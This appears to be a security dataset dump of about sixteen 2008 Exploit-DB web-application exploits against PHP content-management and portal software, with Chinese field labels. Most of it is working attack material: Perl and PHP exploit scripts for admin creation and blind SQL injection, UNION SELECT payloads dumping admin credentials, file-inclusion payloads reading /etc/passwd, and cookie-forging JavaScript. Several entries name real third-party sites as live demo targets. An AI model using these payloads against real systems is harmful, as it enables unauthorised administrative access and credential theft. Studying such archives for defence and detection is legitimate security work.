QLWD/code_shield huggingface dataset:
标题: Rianxosencabos CMS 0.9 - Remote Add Admin EDB-ID: 6546 CVE: 2008-4244 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-24 漏洞利用脚本: #!/usr/bin/perl -w

# Rianxosencabos CMS 0.9 Remote Add Admin Exploit
# Download: http://downloads.sourceforge.net/rsccms/rsccms.tar.gz

# written by ka0x <ka0x01 [at] gmail [dot] com>
# D.O.M Labs - Security Researchers
# - www.domlabs.org -

use LWP::UserAgent;

my ($host, $login, $pass, $mail, $user_id) = @ARGV ;

unless($ARGV[4]){
 print "[*] usage: perl $0 <host> <login> <pass> <mail> <user_id>\n";
 print "[*] ex: perl $0 http://localhost/ ka0x 12345 ka0x01[at]gmail.com 2\n";
 exit 1;
}

if ($host !~ /^http:/){ $host = 'http://'.$host; }

my $ua = LWP::UserAgent->new() or die ;
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1") ;
$ua->timeout(10) ;

sub __CREATE {

 my $req = HTTP::Request->new(POST => $host."index.php?s=usuarios&accion=registrar") ;
 $req->content_type('application/x-www-form-urlencoded') ;
 $req->content("reg_login=".$login."&reg_pass=".$pass."&reg_repass=".$pass."&reg_nombre=".$login."&reg_mail=".$mail."&submit_register=Rexistrar") ;

 my $res = $ua->request($req) ;
 my $location = $res->header('Location') ;
 if ($location =~ /Usuario creado/i) {
  print "[+] user added: ".$login ;
  print "\n[+] password: ".$pass, "\n" ;
 }

 else{
  print "[-] Exploit Failed!\n" ;
 }
}

&__CREATE ;

sub __ADMIN {
 my $req = HTTP::Request->new(POST => $host."?s=admin&accion=lista") ;

 $req->content_type('application/x-www-form-urlencoded') ;

 $req->content($user_id."=0&inputOculto=".$user_id) ;

 $ua->request($req) ;
}

&__ADMIN ;


__END__

# milw0rm.com [2008-09-24] URL: https://www.exploit-db.com/exploits/6546
标题: Fez 1.3/2.0 RC1 - 'list.php' SQL Injection EDB-ID: 6535 CVE: 2008-6028 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-22 漏洞利用脚本: [~]------------------------------------------------------------------------------
[~] Fez software Version 1.3 AND 2.0 RC1 (list.php) - SQL Injection Vulnerability
[~]
[~] http://sourceforge.net/projects/fez
[~]
[~] About:- [Fez is an open source project to produce and maintain a highly flexible web interface to FEDORA
[~]       for any Library or Institution to configure and publish or archive documents of any type sustainably.]
[~]
[~] ----------------------------------------------------------
[~] Bug founded by d3v1l
[~]
[~] Date: 22.09.2008
[~]
[~]
[~] d3v1l@spoofer.com
[~]
[~] -----------------------------------------------------------
[~] Greetz tO:-
[~]
[~] Security-Shell Members ( http://security-sh3ll.com/forum.php )
[~]
[~] Pentest|Gibon|Pig       and milw0rm Staff
[~]-------------------------------------------------------------
[~] Exploit :-
[~]
[~] http://site.com/list.php?browse=subject&parent_id=1 UNION SELECT 1,concat_ws(0x3a,version(),database(),user())/*
[~]
[~] Demo :- 1.3
[~]
[~] http://repository.openpolytechnic.ac.nz/list.php?browse=subject&parent_id=1 UNION SELECT 1,concat_ws(0x3a,version(),database(),user())/*
[~]
[~]
[~] Demo :- 2.0 RC1
[~]
[~] http://avi.lib.cas.cz/sandbox/fex/trunk/list.php?browse=subject&parent_id=1 UNION SELECT 1,concat_ws(0x3a,version(),database(),user())/*
[~]
[~]-----------------------------------------------------------------------------------------------------------------------------------------

# milw0rm.com [2008-09-22] URL: https://www.exploit-db.com/exploits/6535
标题: OpenRat 0.8-beta4 - 'tpl_dir' Remote File Inclusion EDB-ID: 6538 CVE: 2008-6403 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-23 漏洞利用脚本: :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 #####################################################################
 #  [ OpenRat <= 0.8-beta4 ]   Remote File Inclusion Vulnerability   #
 #####################################################################
 #
 # Script: "OpenRat is a free Web Content-Management-System."
 #
 # Script site: http://www.openrat.de/
 # Download: http://www.openrat.de/download/  
 #           http://dl.openrat.de/openrat-cvs-2007-12-05.tar.gz
 #
 # Vuln: http://site.com/openrat/themes/default/include/html/insert.inc.php?tpl_dir=[spread???]
 #      
 #
 # Bug: ./openrat/themes/default/include/html/insert.inc.php
 #
 # ...
 #  <?php include( $tpl_dir.$attr_file.'.tpl.php') ?>
 # ...   
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * str0ke * and otherz..
 ###############################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-09-23] URL: https://www.exploit-db.com/exploits/6538
标题: MyBlog 0.9.8 - Insecure Cookie Handling EDB-ID: 6531 CVE: 2008-4341 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-22 漏洞利用脚本: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
MyBlog <= 0.9.8: PHP and MySQL Blog/CMS software / Cookie poisioning
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

$ Program: MyBlog
$ File affected: all /admin/*.php files
$ Version: 0.9.8
$ Download: http://sourceforge.net/projects/myblog/


Found by Pepelux <pepelux[at]enye-sec.org>
eNYe-Sec - www.enye-sec.org

MyBlog is an open source Blog/CMS project. It allows begginers to have a 
simple to use blog/cms and it will still please developers with feature 
packed system with plugins, themes and modules.


You can alter cookies to get admin privileges.


Code of add.php:

<?php 
if(isset($_COOKIE['admin']) OR isset($_COOKIE['post'])) {
 $name = $_COOKIE['login']; 
}
else {
echo "Please Login";
 exit;
}
?>

If you try to enter http://blog/admin you obtain: 'Please Login' and the cookie
is some likes that:

login=Pepelux; fontSize=80; PHPSESSID=913e40ece8c45da4e1ad5c6c44327926

But if you change the cookie and put, for example:

admin=yes; login=admin; fontSize=80; PHPSESSID=913e40ece8c45da4e1ad5c6c44327926

Then you obtain complete access to the admin panel.

Exploit:
javascript:document.cookie = "admin=yes; login=admin";

# milw0rm.com [2008-09-22] URL: https://www.exploit-db.com/exploits/6531
标题: OpenElec 3.01 - 'obj' Local File Inclusion EDB-ID: 6530 CVE: 2008-6025 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-22 漏洞利用脚本: :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 #################################################################
 #  [ OpenElec <= v3.01 ]   Local File Inclusion Vulnerability   #
 #################################################################
 #
 # Script site: http://www.openelec.org/
 # Download: http://adullact.net/frs/?group_id=434
 #
 # Vuln: 
 # http://site.com/openelec/scr/form.php?obj=../../../../../../../etc/passwd%00
 #      
 #
 # Bug: ./openelec/scr/form.php (lines: 27-32)
 #
 # ...
 #  $obj = "";
 # if (isset ($_GET ['obj']))
 #  $obj = $_GET ['obj'];
 # //
 #   if (file_exists ("../obj/".$obj.".class.php"))
 #       include ("../obj/".$obj.".class.php");         // * LFI *
 # ...        
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * str0ke * and otherz..
 ###############################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-09-22] URL: https://www.exploit-db.com/exploits/6530
标题: CJ Ultra Plus 1.0.4 - Cookie SQL Injection EDB-ID: 6536 CVE: 2008-4241 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-22 漏洞利用脚本: #!/usr/bin/perl
#
# CJ Ultra Plus <= v1.0.4 Cookie SQL Injection
#
# found and coded by -SmoG-  /\GermAn hAckZ0r
# contact: ICQ - 266836394
# 
# 
# 
#
# hints: - sometimes the parameter "SID" is different to the normal one... 
#   - i extract the hash from the html-code... but i was 2 lazy for coding a good working filter
#   - salted DES (normaly "aa" will be the salt, but it can be different)
#   - ive spend about 1 hour for this source... its my first exploit in perl... so plz be friendly with ur feedback...
#
#
#   >>> GretzZz 2: pronoobz.org - Wesker, China Sun and all other memberZz <<<

use LWP::UserAgent;
 
if ($#ARGV+1 !=1) {
print "\n### CJ Ultra Plus <= v1.0.4 Cookie SQL Injection Exploit###\n";
print "found and coded by -SmoG-\n";
print "\n\nUsage: perl xploit.pl -victim\n";
print "       perl xploit.pl http://gayxboy.com/\n\n";    #LiVe-Dem0! letZz pwnz the pedophile!!
exit();
}
print "\n### CJ Ultra Plus <= v1.0.4 Cookie SQL Injection Exploit###\n";
print "\nstarting exploit...";
$target=$ARGV[0];
chomp($target);
if($target !~ /^http:\/\//)
{
 $target = "http://".$target;
}
if($target !~ /\/$/)
{
 $target .= "/";
}
@header = ('Cookie' => "SID='UNION SELECT b12 from settings/*");
$ua = LWP::UserAgent->new;
$ua->timeout(10);
$ua->env_proxy;
$ua->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12");
$response = $ua->get($target, @header);
if ($response->is_success)
{
$temp = $response->content;
if ($temp =~/(.*)SID=(.*);/)
 {
 $result=substr($temp,85,13); 
 print "\n\adminhash: "; print $result;
 }
}
else
{
 die "Error: ".$response->status_line;
}

# milw0rm.com [2008-09-22] URL: https://www.exploit-db.com/exploits/6536
标题: BuzzyWall 1.3.1 - 'search' SQL Injection EDB-ID: 6527 CVE: 2008-6029 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-22 漏洞利用脚本: BuzzyWall <= 1.3.1 SQL Injection Vulnerability

Author: ~!Dok_tOR!~
Date found: 31.08.08
Product: BuzzyWall
Version: 1.3.1
Price: 40$
URL: www.buzzscripts.com
Download script: http://nullstore.net/Reaper/4ptp1chdeais/BuzzyWall.v1.3.1.Nulled.rar.html
Vulnerability Class: SQL Injection
Condition: magic_quotes_gpc = Off

Exploit:

http://localhost/[installdir]/search.php?search=-1'+union+select+1,2,3,4,5,6,concat_ws(0x3a,login,password),user(),9,10,11,12,13,14,15,16+from+bw_admin/*

# milw0rm.com [2008-09-22] URL: https://www.exploit-db.com/exploits/6527
标题: PHP iCalendar 2.24 - Insecure Cookie Handling EDB-ID: 6526 CVE: 2008-5840 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-22 漏洞利用脚本: ###############################################################################################
[+] PHP iCalendar <= 2.24 Insecure Cookie Handling Vulnerability
[+] Discovered By Stack                
[+] Greetz : All my freind               
################################################################################################
---
exploit:
javascript:document.cookie = "phpicalendar_login=1; path=/";
javascript:document.cookie = "phpicalendar=1; path=/";

# milw0rm.com [2008-09-22] URL: https://www.exploit-db.com/exploits/6526
标题: basebuilder 2.0.1 - 'main.inc.php' Remote File Inclusion EDB-ID: 6533 CVE: 2008-6036 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-22 漏洞利用脚本: :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 #####################################################################
 #  [ basebuilder <= 2.0.1 ]   Remote File Inclusion Vulnerability   #
 #####################################################################
 #
 # Script site: http://basebuilder.sourceforge.net/
 # Download: http://sourceforge.net/project/showfiles.php?group_id=110199
 #
 # Vuln: http://site.com/basebuilder/src/main.inc.php?mj_config[src_path]=[spread???]
 #      
 #
 # Bug: ./basebuilder-2.0.1/src/main.inc.php (line: 56)
 #
 # ...
 # include($mj_config['src_path'] . '/classes/class.mj.basebuilder.inc.php');
 # ...   
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * str0ke * and otherz..
 ###############################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-09-22] URL: https://www.exploit-db.com/exploits/6533
标题: WSN Links 2.20 - 'comments.php' SQL Injection EDB-ID: 6525 CVE: 2008-6033 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-22 漏洞利用脚本: [~] WSN Links 2.20 (comments.php) - SQL Injection Vulnerability
[~]
[~] http://scripts.webmastersite.net/wsnlinks/
[~] ----------------------------------------------------------
[~] Bug founded by d3v1l
[~]
[~] Date: 21.09.2008
[~]
[~]
[~] d3v1l@spoofer.com
[~]
[~] -----------------------------------------------------------
[~] Greetz tO:-
[~] 
[~] Security-Shell Members ( http://security-sh3ll.com/forum.php )
[~] 
[~] Pentest|Gibon|Pig
[~]-------------------------------------------------------------
[~] Exploit :-
[~]
[~] http://site.com/comments.php?id=-1 UNION SELECT 1,concat(user,char(58),password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM mysql.user LIMIT 0,1/*
[~]
[~] http://site.com/comments.php?id=1 UNION SELECT 1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 LIMIT 1,1/*
[~]
[~] 
[~] Demo :- 
[~]
[~] http://www.lara.on.ca/business/comments.php?id=1 UNION SELECT 1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 LIMIT 1,1/*
[~]
[~] http://www.lara.on.ca/business/comments.php?id=-1 UNION SELECT 1,concat(user,char(58),password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM mysql.user LIMIT 0,1/*
[~]
[~]----------------------------------------------------------------------------------------------------------------------

# milw0rm.com [2008-09-22] URL: https://www.exploit-db.com/exploits/6525
标题: WSN Links 2.22/2.23 - 'vote.php' SQL Injection EDB-ID: 6524 CVE: 2008-6031 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-22 漏洞利用脚本: [~] WSN Links 2.23 AND 2.22 (vote.php) - SQL Injection Vulnerability
[~]
[~] http://scripts.webmastersite.net/wsnlinks/
[~] ----------------------------------------------------------
[~] Bug founded by d3v1l
[~]
[~] Date: 21.09.2008
[~]
[~]
[~] d3v1l@spoofer.com
[~]
[~] -----------------------------------------------------------
[~] Greetz tO:-
[~] 
[~] Security-Shell Members ( http://security-sh3ll.com/forum.php )
[~] 
[~] Pentest|Gibon|Pig
[~]-------------------------------------------------------------
[~] Exploit :-
[~]
[~] http://site.com/vote.php?id=1 UNION SELECT 1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 LIMIT 1,1/*
[~]   
[~] Demo :-
[~]
[~] 2.22
[~] 
[~] http://www.bujinkantrollhattan.com/scripts/wsnlinks/vote.php?id=1 UNION SELECT 1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 LIMIT 1,1/*
[~] 
[~] 2.23
[~]  
[~] http://linkit.kalikos.org/vote.php?id=1 UNION SELECT 1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 LIMIT 1,1/*
[~]----------------------------------------------------------------------------------------------------------------------

# milw0rm.com [2008-09-22] URL: https://www.exploit-db.com/exploits/6524
标题: WSN Links Free 4.0.34P - 'comments.php' Blind SQL Injection EDB-ID: 6529 CVE: 2008-6032 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-22 漏洞利用脚本: [-]Powered by WSN Links Free 4.0.34P Blind SQL Injection
 
By Stack

exploit:
http://site.com/path/comments.php?id=1 and 2>1/*   #the page fully loaded
http://site.com/path/comments.php?id=1 and 1>3/*   #page loaded whit any data and some error that say
 "No such content exists. The link you are following seems to have been incorrect."
cheking the mysql version:
http://site.com/path/comments.php?id=1%20and%20substring(@@version,1,1)=5
or
http://site.com/path/comments.php?id=1%20and%20substring(@@version,1,1)=4
# you can exploting the bug white blind sql automatic toolz such as sqlmap or ...
simple exploit to get user()
<?php
function stringtohex($string){
 $hex = '';
 for($i=0 ; $i<strlen($string) ; $i++) $hex .= base_convert(ord(substr($string, $i, 1)), 10, 16);
 return '0x'.$hex;
}
echo "=================================================\n";
echo "   WSN Links Free 4.0.34P Blind SQL Injection    \n";
echo "             by Stack & bugtr4cker               \n";
echo "        usage:      php $argv[0]               \n";
echo "=================================================\n";
echo "\n[!] UserID : ";
$id = intval(fgets(STDIN));
$url = "http://www.ossoba.com/wlinks/comments.php?id=$id"; # change http://localhost/wlinks/ by your vulnerable site
$regexp = 'Your Name:';
$login_len = 0;
$password_len = 0;
$login = '';
$password = '';
$alphabet_Stack =  array("a" , "b" , "c" , "d" , "e" , "f" , "g" , "h" , "i" , "j" , "k" , "l" , "m" , "n" , "o" , "p" , "q" , "r" , "s" , "t" , "u" , "v" , "w" , "x" , "y" , "z" , "0" , "1" , "2" , "3" , "4" , "5" , "6" , "7" , "8" , "9", "@", ":", "<", ">" ,'0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f','.','*','%','Ã©','&' );
echo "\n[+] BF Longeur User : ";
$stop = false ;
while($stop == false){
 $lenregexp = stringtohex('^.{'.$login_len.'}$');
 $xurl = $url."+AND+(SELECT+user())+REGEXP+$lenregexp/**" ;
 $rep = file_get_contents($xurl);
 if(preg_match("#$regexp#",$rep)){
  echo $login_len ;
  $stop = true ;
 }
 if($stop == false) $login_len++ ;
}
echo "\n[+] BF du User : ";
for($i=0; $i<= $login_len; $i++){
 $ok = false ; 
 foreach($alphabet_Stack as $Stackl){
  if($ok == true) continue ;
  $like = stringtohex($login.$Stackl);
  $urlx = $url."+AND+(SELECT+user())+LIKE+concat($like,0x25)/*";
  $rep = file_get_contents($urlx) ;
 
  if(preg_match("#$regexp#",$rep)){
   echo $Stackl ;
   $login .= $Stackl ;
   $ok = true ;
  }
 }
}
echo "\n\n[+] Injection Completed \n";
echo "\t User : $login\n\t";
?>

# milw0rm.com [2008-09-22] URL: https://www.exploit-db.com/exploits/6529
标题: AvailScript Article Script - 'view.php' SQL Injection EDB-ID: 6522 CVE: 2008-6037 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-21 漏洞利用脚本: |___________________________________________________|
|
| Article Script (view.php v ) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
|    Author: Hussin X
|
|    Home :  WwW.IQ-ty.CoM |  WwW.TrYaG.CC
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|
|
|___________________________________________________
|                                                   |
|
| script : http://www.availscript.com/article_script.php
|
| DorK   : :)
|___________________________________________________|



Exploit:
________



www.[target].com/Script/view.php?v=-9+union+select+1,2,3,4,5,4,7,UserName,Password,10,11,12+FROM+userinfo--



L!VE DEMO:


http://www.availscript.com/article_script/view.php?v=-9+union+select+1,2,3,4,5,4,7,UserName,Password,10,11,12+FROM+userinfo--



Login :

www.[target].com/Script/admin/login.php




____________________________( Greetz )_________________________________
|
|    All members of the Forum WwW.IQ-ty.CoM |  WwW.TrYaG.CC |
|
|  My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr
|
|    Ghost Hacker | FAHD | Iraqihack | jiko | str0ke | Cyber-Zone
|______________________________________________________________________


                             Im IRAQi

# milw0rm.com [2008-09-21] URL: https://www.exploit-db.com/exploits/6522
标题: Netartmedia Jobs Portal 1.3 - Multiple SQL Injections EDB-ID: 6517 CVE: 2008-6030 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-21 漏洞利用脚本: ######## ##    ##  ######  ########  ##    ## ########  ########  #######  ########
##       ###   ## ##    ## ##     ##  ##  ##  ##     ##    ##    ##     ## ##     ##
##       ####  ## ##       ##     ##   ####   ##     ##    ##           ## ##     ##
######   ## ## ## ##       ########     ##    ########     ##     #######  ##     ##
##       ##  #### ##       ##   ##      ##    ##           ##           ## ##     ##
##       ##   ### ##    ## ##    ##     ##    ##           ##    ##     ## ##     ##
######## ##    ##  ######  ##     ##    ##    ##           ##     #######  ########
################################ !R4Q!4N H4CK3R  ###################################
NetArtMedia Jobs Portal 1.3  Multiple Sql Injection Vulnerabilities
Website    : http://www.netartmedia.net
Founded By : Encrypt3d.M!nd
Home Page  : http://encrypt3d.blogspot.com

# Remote Sql Injection(s) :
Affected File(s) :
index.php
 
PoC:
/index.php?mod=search&job=-666 union select 1,2,3,4,5,username,password,8,9,10,11,12,13,14 from websiteadmin_admin_users
/index.php?page_id=-1&news_id=-666 union select 1,2,username,password,5,6 from websiteadmin_admin_users
Administration Panel:
/ADMIN/login.php

# Greetz:
MY Sweet,L!0N,EL Mariachi,-=MizO=-,Shadow Administrator,
KoRn The Dog,MiNi-SpIder,All My Friends

The EnD :D

# milw0rm.com [2008-09-21] URL: https://www.exploit-db.com/exploits/6517
标题: 6rbScript 3.3 - 'section.php' Local File Inclusion EDB-ID: 6520 CVE: 2008-6453 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-21 漏洞利用脚本: |___________________________________________________|
|
| 6rbScript V3.3 Local file Vulnerability
|
|___________________________________________________
|                                                   |
|
| script : www.6rbscript.com
|
| DorK   : inurl:"section.php?name=singers"
| dorK   : Powered By 6rbScript V3.3
|___________________________________________________|
 
Author : Stack
 
Expl need magic quote = off & open basdir = off in many server
 
site.il/section.php?name=../../../../etc/passwd

# milw0rm.com [2008-09-21] URL: https://www.exploit-db.com/exploits/6520
标题: Rianxosencabos CMS 0.9 - Insecure Cookie Handling EDB-ID: 6521 CVE: 2008-4244 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-21 漏洞利用脚本: ###############################################################################################
[+]   Rianxosencabos CMS 0.9 Insecure Cookie Handling Vulnerability
[+] Discovered By Stack                
[+] Greetz : All my freind               
################################################################################################
---
exploit:
javascript:document.cookie = "usuario=1; path=/"; document.cookie = "pass=1; path=/";

# milw0rm.com [2008-09-21] URL: https://www.exploit-db.com/exploits/6521
标题: Netartmedia Real Estate Portal 1.2 - SQL Injection EDB-ID: 6518 CVE: 2008-6042 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-21 漏洞利用脚本: ######## ##    ##  ######  ########  ##    ## ########  ########  #######  ########
##       ###   ## ##    ## ##     ##  ##  ##  ##     ##    ##    ##     ## ##     ##
##       ####  ## ##       ##     ##   ####   ##     ##    ##           ## ##     ##
######   ## ## ## ##       ########     ##    ########     ##     #######  ##     ##
##       ##  #### ##       ##   ##      ##    ##           ##           ## ##     ##
##       ##   ### ##    ## ##    ##     ##    ##           ##    ##     ## ##     ##
######## ##    ##  ######  ##     ##    ##    ##           ##     #######  ########
################################ !R4Q!4N H4CK3R  ###################################
NetArtMedia Real Estate Portal v2.0  Sql Injection Vulnerability
Website    : http://www.netartmedia.net
Founded By : Encrypt3d.M!nd
Home Page  : http://encrypt3d.blogspot.com

# Remote Sql Injection(s) :
Affected File :
index.php

PoC:
/index.php?mod=re_search&ad=-666 union select 1,2,password,username,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 from websiteadmin_admin_users

Administration Panel:
/ADMIN/login.php

# Greetz:
MY Sweet,L!0N,EL Mariachi,-=MizO=-,Shadow Administrator,
KoRn The Dog,MiNi-SpIder,All My Friends

The EnD :D

# milw0rm.com [2008-09-21] URL: https://www.exploit-db.com/exploits/6518